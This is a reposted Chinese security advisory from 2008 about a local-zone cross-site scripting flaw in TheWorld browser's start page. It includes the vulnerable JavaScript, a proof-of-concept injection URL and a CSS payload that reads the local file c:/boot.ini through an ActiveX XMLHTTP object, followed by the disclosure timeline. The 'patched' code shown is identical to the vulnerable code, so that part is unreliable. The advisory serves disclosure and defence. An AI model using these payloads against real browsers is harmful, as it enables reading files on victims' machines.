欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

世界之窗等浏览器本地xss跨域漏洞POC

程序员文章站 2022-06-19 11:51:11
漏洞说明:http://www.80sec.com/360-sec-browser-localzone-xss.html   文档来源:http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.txt   漏洞分... 08-10-08...

漏洞说明:http://www.80sec.com/360-sec-browser-localzone-xss.html

  文档来源:http://www.80sec.com/release/the-world-browser-locale-zone-xss-poc.txt

  漏洞分析:世界之窗浏览器在起始页面是以res://e:\progra~1\thewor~1.0\languages\chs.dll/twhome.htm的形式来处理的,而由于缺乏对res协议安全的必要控制,导致页面的权限很高,而该页面中存在的一个xss问题将导致本地跨域漏洞,简单分析如下:

<script language="javascript">
var noldcount = 0;
for( i = 0; i < g_ncountold; i )
{
str_url = g_arr_argurlold[i];
str_name = g_arr_argnameold[i];
str_td = “<tr id=’twolditem” i ”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=\”javascript:tw_deleteitemold(’” i ”‘);\”>” “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );
str_td = “<td><a target=’_blank’ href=’” str_url “‘>” str_name “</a></td></tr>”;
document.write( str_td );
noldcount = i;
g_bhaslasturl = true;
}
</script>



  str_name和str_url不经过滤地直接输出,由于该页面处于本地安全区域,所以拥有很高的权限,可以做很多跨域操作,包括读取文件和运行本地程序。

  漏洞修补:

<script language="javascript">
var noldcount = 0;
for( i = 0; i < g_ncountold; i )
{
str_url = g_arr_argurlold[i];
str_name = g_arr_argnameold[i];
str_td = “<tr id=’twolditem” i ”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=\”javascript:tw_deleteitemold(’” i ”‘);\”>” “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );
str_td = “<td><a target=’_blank’ href=’” str_url “‘>” str_name “</a></td></tr>”;
document.write( str_td );
noldcount = i;
g_bhaslasturl = true;
}
</script>



  已经用js控制dom显示了

  漏洞演示:这里提供测试方法可以读取c:/boot.ini

  1 打开如下地址

sc:h’><script>alert(document.write(unescape(””)))</script>


  2 上面将导致一个不可访问的页面,然后直接关闭tw浏览器( 没有好的办法crash)

  3 重新打开tw浏览器,可以发现http://www.80sec.com/1.css中的内容被解析,并且有本地域的权限。

  1.css内容,换成其他js代码一样执行

body {
background-image: url('javascript:alert(document.location);xmlhttp=new activexobject("msxml2.xmlhttp.3.0");xmlhttp.open("get","c:/boot.ini",false);xmlhttp.send();alert(xmlhttp.responsetext);')
}


  漏洞状态:

  2008-06-24通知厂商

  2008-06-25修补

  http://www.ioage.com/cnnew/uplog.htm